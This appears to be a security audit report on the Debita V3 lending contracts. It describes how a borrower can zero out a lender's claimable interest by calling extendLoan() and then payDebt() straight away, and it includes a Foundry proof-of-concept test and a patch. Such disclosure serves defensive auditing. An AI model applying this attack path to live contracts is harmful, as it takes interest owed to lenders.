Sneaky Grape Goat

Medium

# Borrower can deprive lender off interest in a loan

### Summary

A borrower can exploit the process for extending and repaying loans to deprive the lender of the interest they are entitled to. Specifically, if a borrower extends the loan and immediately repays it within the same period, the lender will not receive any interest.

### Root Cause

1. When the borrower calls `DebitaV3Loan::extendLoan()`, the `interestToClaim` is updated in lines [656-660](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L656-L660) to reflect the interest accrued for the time already used. At the same time, the `interestPaid` variable is updated.
2. If the borrower then calls `DebitaV3Loan::payDebt()` immediately:
    * The `payDebt()` function calculates the interest to pay using the `calculateInterestToPay()` function.
    * `calculateInterestToPay()` computes the `interest` by deducting `interestPaid` from the active interest in line [737](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L737). Since `interestPaid` was just updated, and no additional time has passed, this calculation results in 0 interest.
3. As a result, the `payDebt()` function assigns the `interestToClaim` to a value of 0 in line [238](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L238-L240), leaving the lender with no interest for the loan. The borrower pays the interest but the lender cannot claim it.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. A loan is set up between a borrower and a non-perpetual lender.
2. The borrower:
    * First calls `extendLoan()` to extend the loan period.
    * Immediately follows with a call to payDebt() to repay the loan.
3. Since no time has passed between the calls, the interest calculated and claimed in payDebt() is 0.
4. The lender's interestToClaim is effectively set to 0, depriving them of any intere

### Impact

1. Lenders do not get any interest on the loan in worst case.
2. The lack of proper compensation may harm lender trust in the system, discouraging participation.

### PoC

1. Create a new file in test folder -`PoC.t.test`
2.  Paste the following codes in that file-
```solidity
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "./interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";

contract DebitaAggregatorTest is Test, DynamicData {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;

    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    ERC20Mock public AEROContract;
    address AERO;

    address lender = makeAddr("lender");
    address borrower = makeAddr("borrower");

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), address(this), 1000e18, true);
        AERO = address(AEROContract);
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        deal(AERO, lender, 1000e18, false);
        deal(AERO, borrower, 1000e18, false);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        vm.startPrank(borrower);
        IERC20(AERO).approve(address(DBOFactoryContract), 100e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1000,
            864000, // 10 days
            acceptedPrinciples,
            AERO,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            10e18
        );
        vm.stopPrank();

        vm.startPrank(lender);
        IERC20(AERO).approve(address(DLOFactoryContract), 100e18);
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000, // 100 days
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        LendOrder = DLOImplementation(lendOrderAddress);
        BorrowOrder = DBOImplementation(borrowOrderAddress);
    }

    function testMatchOffersAndPayBack() public {
        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 3e18;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = AERO;

        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3Loan loanContract = DebitaV3Loan(loan);
        uint[] memory indexes = allDynamicData.getDynamicUintArray(1);
        indexes[0] = 0;

        uint256 balanceOfLoanBeforeExtend = IERC20(AERO).balanceOf(loan);
        uint256 balanceOfLender = IERC20(AERO).balanceOf(lender);
        uint256 balanceOfLenderOrder = IERC20(AERO).balanceOf(address(LendOrder));

        vm.startPrank(borrower);
        vm.warp(block.timestamp + 5 days);
        IERC20(AERO).approve(loan, 4e18);
        loanContract.extendLoan();

        uint256 balanceOfLoanAfterExtend = IERC20(AERO).balanceOf(loan);

        DebitaV3Loan.LoanData memory loanData = loanContract.getLoanData();
        uint256 initialInterestToClaim = loanData._acceptedOffers[0].interestToClaim;
        console.log("initialInterestToClaim", initialInterestToClaim);

        assertEq(balanceOfLoanAfterExtend-balanceOfLoanBeforeExtend, initialInterestToClaim);

        IERC20(AERO).approve(loan, 4e18);
        loanContract.payDebt(indexes);
        vm.stopPrank();

        uint256 balanceOfLenderAfterPay = IERC20(AERO).balanceOf(lender);
        uint256 balanceOfLenderOrderAfterPay = IERC20(AERO).balanceOf(address(LendOrder));

        DebitaV3Loan.LoanData memory loanDataAfterPay = loanContract.getLoanData();
        uint256 initialInterestToClaimAfterPay = loanDataAfterPay._acceptedOffers[0].interestToClaim;

        // InterestToClaim is set to zero
        assertEq(initialInterestToClaimAfterPay, 0);

        // balances of lend order and lender remains same as before
        assertEq(balanceOfLenderAfterPay, balanceOfLender);
        assertEq(balanceOfLenderOrderAfterPay, balanceOfLenderOrder);

        // Thus the lender cannot claim interest and the interest gets locked in the contract due to wrong calculation
    }
}

```
3. Run `forge test --mt testMatchOffersAndPayBack -vv``

### Mitigation

Instead of assigning the value directly, add the new value:

```diff
function payDebt(uint[] memory indexes) public nonReentrant {
        IOwnerships ownershipContract = IOwnerships(s_OwnershipContract);

        require(
            ownershipContract.ownerOf(loanData.borrowerID) == msg.sender,
            "Not borrower"
        );
        // check next deadline
        require(
            nextDeadline() >= block.timestamp,
            "Deadline passed to pay Debt"
        );

        for (uint i; i < indexes.length; i++) {
            uint index = indexes[i];
            // get offer data on memory
            infoOfOffers memory offer = loanData._acceptedOffers[index];

            // change the offer to paid on storage
            loanData._acceptedOffers[index].paid = true;

            // check if it has been already paid
            require(offer.paid == false, "Already paid");

            require(offer.maxDeadline > block.timestamp, "Deadline passed");
            uint interest = calculateInterestToPay(index);
            uint feeOnInterest = (interest * feeLender) / 10000;
            uint total = offer.principleAmount + interest - feeOnInterest;
            address currentOwnerOfOffer;

            try ownershipContract.ownerOf(offer.lenderID) returns (
                address _lenderOwner
            ) {
                currentOwnerOfOffer = _lenderOwner;
            } catch {}

            DLOImplementation lendOffer = DLOImplementation(offer.lendOffer);
            DLOImplementation.LendInfo memory lendInfo = lendOffer
                .getLendInfo();

            SafeERC20.safeTransferFrom(
                IERC20(offer.principle),
                msg.sender,
                address(this),
                total
            );
            // if the lender is the owner of the offer and the offer is perpetual, then add the funds to the offer
            if (lendInfo.perpetual && lendInfo.owner == currentOwnerOfOffer) {
                loanData._acceptedOffers[index].debtClaimed = true;
                IERC20(offer.principle).approve(address(lendOffer), total);
                lendOffer.addFunds(total);
            } else {
-               loanData._acceptedOffers[index].interestToClaim =
-                   interest -
-                   feeOnInterest;
+               loanData._acceptedOffers[index].interestToClaim += interest -feeOnInterest;
            }
// Rest of the code
```